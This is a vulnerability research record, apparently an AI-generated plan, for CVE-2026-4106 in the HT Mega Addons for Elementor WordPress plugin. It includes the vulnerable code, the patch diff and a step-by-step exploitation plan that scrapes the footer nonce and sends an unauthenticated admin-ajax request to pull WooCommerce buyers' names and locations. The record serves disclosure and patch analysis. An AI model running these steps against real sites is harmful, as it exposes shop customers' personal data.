[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fDmpCso0C7JOek4yg5kgdF9_qmTebpxCoLZgDwvql9Ys":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":28,"research_verified":29,"research_rounds_completed":30,"research_plan":31,"research_summary":32,"research_vulnerable_code":33,"research_fix_diff":34,"research_exploit_outline":35,"research_model_used":36,"research_started_at":37,"research_completed_at":38,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":29,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":29,"source_links":39},"CVE-2026-4106","ht-mega-addons-for-elementor-elementor-widgets-template-builder-unauthenticated-information-exposure","HT Mega Addons for Elementor – Elementor Widgets & Template Builder \u003C 3.0.7 - Unauthenticated Information Exposure","The HT Mega Addons for Elementor – Elementor Widgets & Template Builder plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to 3.0.7 (exclusive). This makes it possible for unauthenticated attackers to extract sensitive user or configuration data.","ht-mega-for-elementor",null,"\u003C3.0.7","3.0.7","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:L\u002FI:N\u002FA:N","Exposure of Sensitive Information to an Unauthorized Actor","2026-04-24 00:00:00","2026-04-30 15:05:05",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fe533f20e-825b-443c-93b2-cf451284ae96?source=api-prod",7,[22,23,24,25,26,27],"admin\u002Finclude\u002Ftemplates\u002Flibrary\u002Ftemplates.php","extensions\u002Fwc-sales-notification\u002Fadmin\u002Fsetting.php","extensions\u002Fwc-sales-notification\u002Fclasses\u002Fclass.sale_notification.php","htmega_addons_elementor.php","languages\u002Fhtmega-addons.pot","readme.txt","researched",false,3,"# Research Plan: CVE-2026-4106 - HT Mega Addons for Elementor Unauthenticated Information Exposure\n\n## 1. Vulnerability Summary\nThe **HT Mega Addons for Elementor** plugin (versions \u003C 3.0.7) is vulnerable to **Unauthenticated Information Exposure** through its WooCommerce Sales Notification feature. The plugin registers an AJAX action `wcsales_purchased_products` that is accessible to unauthenticated users via `wp_ajax_nopriv_`. This endpoint returns sensitive data from recent WooCommerce orders, including the buyer's first name, last name, city, state, and country. Although a WordPress nonce is used for verification, the nonce is leaked in the footer of every frontend page, rendering the protection ineffective against unauthenticated attackers.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action**: `wcsales_purchased_products`\n- **Parameter**: `security` (Nonce)\n- **Authentication**: Unauthenticated (`nopriv`)\n- **Preconditions**: \n    1. WooCommerce must be installed and active.\n    2. At least one WooCommerce order must exist (status: completed, pending, processing, or on-hold).\n    3. The \"Sales Notification\" extension in HT Mega must be enabled (often enabled by default or via the plugin settings).\n\n## 3. Code Flow\n1. **Registration**: In `extensions\u002Fwc-sales-notification\u002Fclasses\u002Fclass.sale_notification.php`, the `__construct` method registers the AJAX handlers:\n   ```php\n   add_action('wp_ajax_nopriv_wcsales_purchased_products', [ $this, 'purchased_products' ] );\n   add_action('wp_ajax_wcsales_purchased_products', [ $this, 'purchased_products' ] );\n   ```\n2. **Nonce Exposure**: The same class hooks `ajax_request` to `wp_footer`:\n   ```php\n   add_action( 'wp_footer', [ $this, 'ajax_request' ] );\n   ```\n   Inside `ajax_request()`, the nonce is created and printed directly into a `\u003Cscript>` block:\n   ```php\n   $ajax_nonce = wp_create_nonce( \"wcsales-ajax-request\" );\n   \u002F\u002F ...\n   var data = {\n       action: 'wcsales_purchased_products',\n       security: '\u003C?php echo esc_js( $ajax_nonce ); ?>',\n       whatever: 1234\n   };\n   ```\n3. **Data Retrieval**: When the AJAX action is called, `purchased_products()` is executed. It calls `check_ajax_referer('wcsales-ajax-request', 'security')`.\n4. **Order Exposure**: If the nonce is valid, the function queries for orders:\n   ```php\n   $args = array(\n       'post_type' => 'shop_order',\n       'post_status' => 'wc-completed, wc-pending, wc-processing, wc-on-hold',\n       \u002F\u002F ...\n   );\n   $posts = get_posts( $args );\n   ```\n5. **Buyer Info Extraction**: For each order, `purchased_buyer_info()` extracts billing or shipping details:\n   ```php\n   $buyerinfo = array(\n       'fname' => ... $address['first_name'] ...,\n       'lname' => ... $address['last_name'] ...,\n       'city' => ... $address['city'] ...,\n       'state' => ... $address['state'] ...,\n       'country' => ... WC()->countries->countries[$address['country']] ...,\n   );\n   ```\n6. **Output**: The data is returned as a JSON array to the unauthenticated requester.\n\n## 4. Nonce Acquisition Strategy\nThe nonce is not passed via `wp_localize_script` but is instead printed as a raw JavaScript variable inside the `wp_footer` hook.\n\n1. **Navigate**: Use `browser_navigate` to go to the WordPress homepage.\n2. **Extract**: Use `browser_eval` to extract the security nonce from the inline script. Since the variable is defined inside a jQuery ready block and not on the global `window` object, the most reliable way is to parse the page source or use a regex on the script tags.\n3. **Regex Approach**:\n   ```javascript\n   \u002F\u002F Inside browser_eval\n   const scripts = Array.from(document.getElementsByTagName('script'));\n   const targetScript = scripts.find(s => s.innerText.includes('wcsales_purchased_products'));\n   if (targetScript) {\n       const match = targetScript.innerText.match(\u002Fsecurity:\\s*'([a-f0-9]{10})'\u002F);\n       return match ? match[1] : null;\n   }\n   ```\n4. **Action String**: The nonce action is `\"wcsales-ajax-request\"`.\n\n## 5. Exploitation Strategy\n1. **Target**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n2. **Method**: POST\n3. **Headers**: `Content-Type: application\u002Fx-www-form-urlencoded`\n4. **Payload**:\n   ```\n   action=wcsales_purchased_products&security=[EXTRACTED_NONCE]\n   ```\n5. **Request Execution**: Use the `http_request` tool.\n6. **Data Processing**: Parse the JSON response. A successful exploit will return an array of objects, each containing a `buyer` key with `fname`, `lname`, `city`, `state`, and `country`.\n\n## 6. Test Data Setup\n1. **Install WooCommerce**: Ensure WooCommerce is active.\n2. **Create Order**: Use WP-CLI to create a dummy order with PII:\n   ```bash\n   # Create a customer\u002Forder with identifiable info\n   # Note: Orders in WC are 'shop_order' post types\n   ORDER_ID=$(wp post create --post_type=shop_order --post_status=wc-completed --post_title=\"Order\" --porcelain)\n   \n   # Add billing information (PII)\n   wp post meta update $ORDER_ID _billing_first_name \"John\"\n   wp post meta update $ORDER_ID _billing_last_name \"Doe\"\n   wp post meta update $ORDER_ID _billing_city \"Beverly Hills\"\n   wp post meta update $ORDER_ID _billing_state \"CA\"\n   wp post meta update $ORDER_ID _billing_country \"US\"\n   ```\n3. **Enable Extension**: Ensure the Sales Notification extension is enabled in HT Mega. (Check `wp option get htmega_settings` or similar if the plugin stores settings there).\n\n## 7. Expected Results\n- The response should be a JSON array (Status 200 OK).\n- Each entry in the array should look like this:\n  ```json\n  {\n      \"id\": 123,\n      \"name\": \"Product Name\",\n      \"url\": \"http:\u002F\u002F...\",\n      \"date\": \"2024-...\",\n      \"image\": \"...\",\n      \"price\": \"$...\",\n      \"buyer\": {\n          \"fname\": \"John\",\n          \"lname\": \"Doe\",\n          \"city\": \"Beverly Hills\",\n          \"state\": \"CA\",\n          \"country\": \"United States (US)\"\n      }\n  }\n  ```\n\n## 8. Verification Steps\n1. **Check Output**: Verify that the `fname` and `lname` in the HTTP response match the \"John\" and \"Doe\" strings set via WP-CLI.\n2. **Confirm Nonce Dependency**: Attempt the request again with an invalid `security` parameter (e.g., `security=1234567890`). The server should return `403 Forbidden` or `-1` (default WordPress AJAX error).\n\n## 9. Alternative Approaches\nIf the extension is not active by default, it may be necessary to manually activate it through the HT Mega settings panel. This can be done via `wp option update` if the option name is known (likely `htmega_settings` or a similar key containing a serialized array of enabled modules).\n\nIf `wp_footer` is not being triggered (e.g., on certain themes), try navigating to a specific product page or a page containing an Elementor widget from HT Mega to force the plugin's components to load.","The HT Mega Addons for Elementor plugin (versions \u003C 3.0.7) exposes sensitive WooCommerce customer information (PII) to unauthenticated attackers. The vulnerability occurs because the 'Sales Notification' feature registers an AJAX endpoint accessible to unauthenticated users and leaks the required security nonce in the public frontend footer, allowing attackers to download order history including buyer names and locations.","\u002F\u002F extensions\u002Fwc-sales-notification\u002Fclasses\u002Fclass.sale_notification.php:19\nadd_action('wp_ajax_nopriv_wcsales_purchased_products', [ $this, 'purchased_products' ] );\nadd_action('wp_ajax_wcsales_purchased_products', [ $this, 'purchased_products' ] );\n\n---\n\n\u002F\u002F extensions\u002Fwc-sales-notification\u002Fclasses\u002Fclass.sale_notification.php:115\nfunction ajax_request() {\n    \u002F\u002F ... (truncated)\n    $ajax_nonce = wp_create_nonce( \"wcsales-ajax-request\" );\n    ?>\n        \u003Cscript>\n            jQuery( document ).ready( function( $ ) {\n                \u002F\u002F ... (truncated)\n                var data = {\n                    action: 'wcsales_purchased_products',\n                    security: '\u003C?php echo esc_js( $ajax_nonce ); ?>',\n                    whatever: 1234\n                };\n\n---\n\n\u002F\u002F extensions\u002Fwc-sales-notification\u002Fclasses\u002Fclass.sale_notification.php:91\nprivate function purchased_buyer_info( $order ){\n    $address = $order->get_address( 'billing' );\n    if( !isset( $address['city'] ) || empty( $address['city'] ) ){\n        $address = $order->get_address( 'shipping' );\n    }\n    $buyerinfo = array(\n        'fname' => isset( $address['first_name'] ) && !empty( $address['first_name'] ) ? ucfirst( $address['first_name'] ) : '',\n        'lname' => isset( $address['last_name'] ) && !empty( $address['last_name'] ) ? ucfirst( $address['last_name'] ) : '',\n        'city' => isset( $address['city'] ) && !empty( $address['city'] ) ? ucfirst( $address['city'] ) : '',\n        'state' => isset( $address['state'] ) && !empty( $address['state'] ) ? ucfirst( $address['state'] ) : '',\n        'country' =>  isset( $address['country'] ) && !empty( $address['country'] ) ? WC()->countries->countries[$address['country']] : '',\n    );\n    return $buyerinfo;\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fht-mega-for-elementor\u002F3.0.6\u002Fextensions\u002Fwc-sales-notification\u002Fclasses\u002Fclass.sale_notification.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fht-mega-for-elementor\u002F3.0.7\u002Fextensions\u002Fwc-sales-notification\u002Fclasses\u002Fclass.sale_notification.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fht-mega-for-elementor\u002F3.0.6\u002Fextensions\u002Fwc-sales-notification\u002Fclasses\u002Fclass.sale_notification.php\t2024-07-01 09:10:48.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fht-mega-for-elementor\u002F3.0.7\u002Fextensions\u002Fwc-sales-notification\u002Fclasses\u002Fclass.sale_notification.php\t2026-03-25 08:43:54.000000000 +0000\n@@ -60,10 +60,8 @@\n                     if( !empty( $product ) ){\n                         preg_match( '\u002Fsrc=\"(.*?)\"\u002F', $product->get_image( 'thumbnail' ), $imgurl );\n                         $p = array(\n-                            'id'    => $first_item['order_id'],\n                             'name'  => $product->get_title(),\n                             'url'   => $product->get_permalink(),\n-                            'date'  => $post->post_date_gmt,\n                             'image' => count($imgurl) === 2 ? $imgurl[1] : null,\n                             'price' => $this->purchased_productprice( $check_wc_version ? $product->get_display_price() : wc_get_price_to_display( $product ) ),\n                             'buyer' => $this->purchased_buyer_info( $order )\n@@ -99,12 +97,22 @@\n         if( !isset( $address['city'] ) || empty( $address['city'] ) ){\n             $address = $order->get_address( 'shipping' );\n         }\n+\n+        $show_buyer_name = ( htmega_get_option( 'show_buyer_name', 'htmegawcsales_setting_tabs', 'off' ) === 'on' );\n+        $show_city       = ( htmega_get_option( 'show_city',       'htmegawcsales_setting_tabs', 'off' ) === 'on' );\n+        $show_state      = ( htmega_get_option( 'show_state',      'htmegawcsales_setting_tabs', 'off' ) === 'on' );\n+        $show_country    = ( htmega_get_option( 'show_country',    'htmegawcsales_setting_tabs', 'off' ) === 'on' );\n+\n+        \u002F\u002F When buyer name is enabled, expose first name + last initial only (never full last name).\n+        $lname_raw     = isset( $address['last_name'] ) && !empty( $address['last_name'] ) ? $address['last_name'] : '';\n+        $lname_initial = !empty( $lname_raw ) ? strtoupper( substr( $lname_raw, 0, 1 ) ) . '.' : '';\n+\n         $buyerinfo = array(\n-            'fname' => isset( $address['first_name'] ) && !empty( $address['first_name'] ) ? ucfirst( $address['first_name'] ) : '',\n-            'lname' => isset( $address['last_name'] ) && !empty( $address['last_name'] ) ? ucfirst( $address['last_name'] ) : '',\n-            'city' => isset( $address['city'] ) && !empty( $address['city'] ) ? ucfirst( $address['city'] ) : '',\n-            'state' => isset( $address['state'] ) && !empty( $address['state'] ) ? ucfirst( $address['state'] ) : '',\n-            'country' =>  isset( $address['country'] ) && !empty( $address['country'] ) ? WC()->countries->countries[$address['country']] : '',\n+            'fname'   => ( $show_buyer_name && !empty( $address['first_name'] ) ) ? ucfirst( $address['first_name'] ) : '',\n+            'lname'   => ( $show_buyer_name && !empty( $lname_initial ) )         ? $lname_initial                    : '',\n+            'city'    => ( $show_city    && !empty( $address['city'] ) )           ? ucfirst( $address['city'] )       : '',\n+            'state'   => ( $show_state   && !empty( $address['state'] ) )          ? ucfirst( $address['state'] )      : '',\n+            'country' => ( $show_country && !empty( $address['country'] ) )        ? WC()->countries->countries[ $address['country'] ] : '',\n         );\n         return $buyerinfo;\n     }","The exploit targets the WooCommerce Sales Notification feature in HT Mega Addons for Elementor. \n\n1. **Nonce Retrieval**: An unauthenticated attacker visits the site's homepage and inspects the HTML source. They search for a script tag containing the string 'wcsales_purchased_products' to locate the 'security' nonce variable printed by the `ajax_request` function in `class.sale_notification.php`.\n2. **AJAX Request**: The attacker sends an unauthenticated POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` with the parameters `action=wcsales_purchased_products` and `security=[EXTRACTED_NONCE]`.\n3. **Data Extraction**: The server validates the nonce and, because the action is registered via `wp_ajax_nopriv_`, processes the request. It queries recent WooCommerce orders and returns a JSON response containing the full first name, last name, city, state, and country of the buyers from the most recent orders (up to the limit defined in settings, typically 5).","gemini-3-flash-preview","2026-05-04 18:28:17","2026-05-04 18:28:41",{"type":40,"vulnerable_version":41,"fixed_version":11,"vulnerable_browse":42,"vulnerable_zip":43,"fixed_browse":44,"fixed_zip":45,"all_tags":46},"plugin","3.0.6","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fht-mega-for-elementor\u002Ftags\u002F3.0.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fht-mega-for-elementor.3.0.6.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fht-mega-for-elementor\u002Ftags\u002F3.0.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fht-mega-for-elementor.3.0.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fht-mega-for-elementor\u002Ftags"]